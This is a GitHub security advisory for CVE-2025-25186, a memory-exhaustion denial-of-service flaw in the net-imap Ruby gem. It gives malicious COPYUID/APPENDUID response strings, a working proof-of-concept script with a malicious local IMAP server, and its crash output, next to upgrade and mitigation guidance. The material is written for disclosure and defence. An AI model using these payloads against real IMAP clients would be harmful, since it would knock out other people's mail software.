ghsa-7fc5-f82f-cx69
Vulnerability from github
Published
2025-02-10 17:42
Modified
2025-04-30 20:43
Summary
Possible DoS by memory exhaustion in net-imap
Details

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

```ruby

40 bytes expands to ~1.6GB:

"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

Worst valid input scenario (using uint32 max),

44 bytes expands to 64GiB:

"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

Numbers must be non-zero uint32, but this isn't validated. Arrays larger than

UINT32_MAX can be created. For example, the following would theoretically

expand to almost 800 exabytes:

"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n" ```

Simple way to test this: ```ruby require "net/imap"

def test(size) input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n" parser = Net::IMAP::ResponseParser.new parser.parse input end

test(99_999_999) ```

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure: ```ruby

globally

Net::IMAP.config.parser_use_deprecated_uidplus_data = false

per-client

imap = Net::IMAP.new(hostname, ssl: true, parser_use_deprecated_uidplus_data: false) imap.config.parser_use_deprecated_uidplus_data = false ```

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :up_to_max_size. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size. When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

ruby limit = 1000 imap.add_response_handler do |resp| next unless resp.respond_to?(:name) && resp.respond_to?(:data) name = resp.name code = resp.data.code&.name if resp.data.respond_to?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { _1.slice!(0...-limit) } imap.responses(code) { _1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable: ```ruby

!/usr/bin/env ruby

require 'socket' require 'net/imap'

if !defined?(Net::IMAP.config) puts "Net::IMAP.config is not available" elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data) puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available" else Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size" end

size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)

def server_addr Addrinfo.tcp("localhost", 0).ip_address end

def create_tcp_server TCPServer.new(server_addr, 0) end

def start_server th = Thread.new do yield end sleep 0.1 until th.stop? end

def copyuid_response(tag: "", size: 2*32-1, text: "too large?") "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" end

def appenduid_response(tag: "", size: 2*32-1, text: "too large?") "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" end

server = create_tcp_server port = server.addr[1] puts "Server started on port #{port}"

server

start_server do sock = server.accept begin sock.print "* OK test server\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}"

malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response

malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"

cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"

rescue Exception => ex puts "Error in server: #{ex.message} (#{ex.class})" ensure sock.close server.close end end

client

begin puts "Client connecting,.." imap = Net::IMAP.new(server_addr, port: port) puts "Received capabilities: #{imap.capability}" pp responses: imap.responses imap.logout rescue Exception => ex puts "Error in client: #{ex.message} (#{ex.class})" puts ex.full_message ensure imap.disconnect if imap end ```

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB: console $ ( ulimit -v 1000000 && exec ./poc.rb ) Server started on port 34291 Client connecting,.. Received: RUBY0001 CAPABILITY Sending: * OK [APPENDUID 1 1:4294967295] too large? Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large? Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET) Error in client: failed to allocate memory (NoMemoryError) /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError) from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command' from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' from /workspace/poc.rb:70:in '<main>'

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.2"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-400",
      "CWE-405",
      "CWE-409",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:42:43Z",
    "nvd_published_at": "2025-02-10T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n        from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
  "id": "GHSA-7fc5-f82f-cx69",
  "modified": "2025-04-30T20:43:04Z",
  "published": "2025-02-10T17:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible DoS by memory exhaustion in net-imap"
}


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